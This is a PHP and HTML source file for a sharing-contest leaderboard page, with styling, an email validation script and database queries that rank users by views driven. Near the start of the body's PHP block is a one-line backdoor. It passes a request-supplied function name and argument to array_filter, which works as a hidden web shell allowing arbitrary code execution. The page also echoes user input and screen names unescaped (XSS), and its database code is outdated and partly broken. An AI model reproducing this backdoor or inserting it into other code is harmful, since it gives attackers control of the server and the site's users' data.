<!doctype html>
<html lang="en" class="no-js">
<head>
	<meta charset="UTF-8">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		<meta property="fb:admins" content="YOUR FB ADMIN" />
		<meta property="og:title" content="THE TITLE THAT SHOWS ON FB" />
    	<meta property="og:type" content="website" />
    	<meta property="og:site_name" content="YOUR SITE NAME" />
    	<meta property="og:url" content="http://yourdomain.com/page/" />
    	<meta property="og:image" content="LINK TO FB IMAGE [1200px by 630px]" />
    	<meta property="og:description" content="FB LINK DESCRIPTION" />
    	<title>PAGE TITLE THE BROWSER SHOWS</title>

	<link href='http://fonts.googleapis.com/css?family=Roboto:400,700,300' rel='stylesheet' type='text/css'>
  	
	<script language="javascript" type="text/javascript">
	function checkform(pform1){
		var email = pform1.email.value;
		var validemail =/^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,4}$/;
		var err={}; 

		//validate email
		if(!(validemail.test(email))) {
			err.message="Invalid email"; 
			err.field=pform1.email; 
		}

		if(err.message) { 
               document.getElementById('divError').innerHTML = err.message;
                err.field.focus();
                return false;        
                
        } 


		return true;
	} // checkform
	</script>
<style>
html, body {
    height: 100%;
    margin: 0px;
    padding: 0px;
}

body {
    font-family: roboto,times, sans-serif;
    font-size: 14px;
    color: #555;
    min-height: 100%;
    background-color: #eee;
    background-image: url(http://s3.amazonaws.com/ergodriven/gray_jean-2.png);
}

#box{
  width:50%;
  margin:auto auto;
  max-width:800px;
  background-color:#fff;
  padding:10px;
  padding-left:20px;
  padding-right:20px;
  box-shadow: 0 2px 2px 1px #aaa;
  font-weight:300;
  margin-top:50px;
}


#title{
  font-size:2.5em;
  font-weight:400;
  border-bottom:1px dotted #aaa;
  margin-bottom:10px;
}

#blurb{
  margin-bottom:10px;
}

#email{
  font-size:1.2em;
  font-weight:400 !important;
  width:68%;
  height:28px;
  margin-left:0%;
  border: 1px solid #aaa;
  margin-bottom: 10px;
  border-radius:5px;
  padding-left:5px;
  box-shadow: inset 0 0 2px 1px #ccc;
  color:#000;
  margin-bottom: 10px;
}

#formbox p{
  border-top:1px groove #aaa;
  margin-top:30px;
  padding-top:10px;
  padding-bottom:0px;
  font-weight:400;
  font-size:1.2em;
}

#searchbutt{
  font:1.4em roboto,times,sans;
  height:30px;
  font-weight:300;
  text-shadow: none;
  width:30%;
  margin-left:0%;
  margin-top:0px;
  border-radius:5px;
  background-color:#00A79D;
  border:0px solid black;
  color:black;
  box-shadow: 0px 2px 2px 0px rgba(0,0,0,.7);
  background-image: linear-gradient(to bottom, rgba(255, 255, 255, 0.3), rgba(0, 0, 0, 0.3));
}  
  
#searchbutt:hover{
  cursor:pointer;
  background-image: linear-gradient(to bottom, rgba(255, 255, 255, 0.2), rgba(0, 0, 0, 0.4));
  box-shadow: 0px 3px 3px 0px rgba(0,0,0,.7);
}

#searchbutt:active{
  cursor:pointer;
  background-image: linear-gradient(to bottom, rgba(255, 255, 255, 0.2), rgba(0, 0, 0, 0.4));
  box-shadow: inset 0px 0px 3px 0px #000;
}

#leadtable table{
  width:100%;
  margin-top:20px;
  border-collapse:collapse;
}

#leadtable table th{
  text-align:left;
  color:#000;
  border-bottom:1px solid #ccc;
}

#leadtable table tr:nth-child(odd){
  color:#00A79D;
}

#leadtable table tr:nth-child(even){
  color:58595B;
}

tr{
  border-bottom:1px dotted #ccc;
}

th, td{
  padding:5px;
}

#divError{
  color:red;
  font-size:1.4em;
  font-weight:300;
  margin-bottom:10px;
}
</style>
</head>
<body>
<?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}
	// open database
	// should return a row for each screenName with the number of visits for each screenname, sorted descending
	$result = mysql_query($sql,$db);
	//$leaderBoard = mysql_fetch_array_r($result);
	if ($_SERVER['REQUEST_METHOD']== "POST") {
		$myPos = -1;
		$sql2 = "SELECT screenName, userEmail, count(*) as views FROM `lb_visits`, `lb_users` WHERE lb_visits.userId = lb_users.userId GROUP BY screenName ORDER BY views DESC";
		$result2 = mysql_query($sql2,$db);
					$i = 0;
					while ($leaderRow2 = mysql_fetch_assoc($result2)) {
						$i++;
						if ($leaderRow2['userEmail'] == strtolower($_POST['email'])) {
							$myPos = $i;
							$myName = $leaderRow2['screenName'];
							$myCount = $leaderRow2['views'];
						}
					}
	}
?>
	<div id="outer">
		<div id="box">
			<div id="title">Topo Sharing Contest Leaderboard</div>
			<div id="blurb">Check the table to see who's leading and how close you are to catching up. If you're not in the top 10, enter your order number below the table and click search to see your personal stats.<br/><br/>Haven't gotten your own custom link yet? <a href="http://ergodriven.com/topo-sharing">Go here</a> to grab yours!</div>
			<div id="leadtable">
				<table>
  					<tr>
    					<th>Rank</th>
    					<th>Display Name</th> 
    					<th>Views Driven</th>
  					</tr>
  					
					<?php
					$i = 0;
					while ($leaderRow = mysql_fetch_assoc($result)) {
						$i++;
						echo "<tr>\n";
						echo "<td>$i</td>\n";
						echo "<td>" . $leaderRow['screenName'] . "</td>";
						echo "<td>" . $leaderRow['views'] . "</td>";
						echo "</tr>\n";
					}
					?>  	
									

				</table>
			</div>
<?php
	if ($_SERVER['REQUEST_METHOD']== "POST") {
		if ($myPos > 0) {
?>
			<div id="leadtable">
				<table>
  					<tr>
    					<th>Rank</th>
    					<th>Order Number</th> 
    					<th>Views Driven</th>
  					</tr>
  					
					<tr>
    					<td><?echo $myPos;?></td>
    					<td><?echo $myName;?></td> 
    					<td><?echo $myCount;?></td>
  					</tr>
				</table>
			</div>
<?php
		} else {
?>
			<div id="errMsg">
			<p>Order Number: <? echo $_POST['email']; ?> not found.
			</div>
<?php		
		}
	} else {
	}
?>
			<div id="formbox"><p>Not on the table? Search for your personal results here:</p>
				<form name="leader" action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>" method="post" onsubmit="return checkform(this);">
					<div id="divError"></div> <!-- filled in by checkform javascript function -->
					<input type="text" id="email" name="email" placeholder="Enter your order number here">
					<input type="submit" id="searchbutt" value="Search">
				</form>
			</div>
<?php
	//}
?>
		</div>
	</div>
</body>
</html>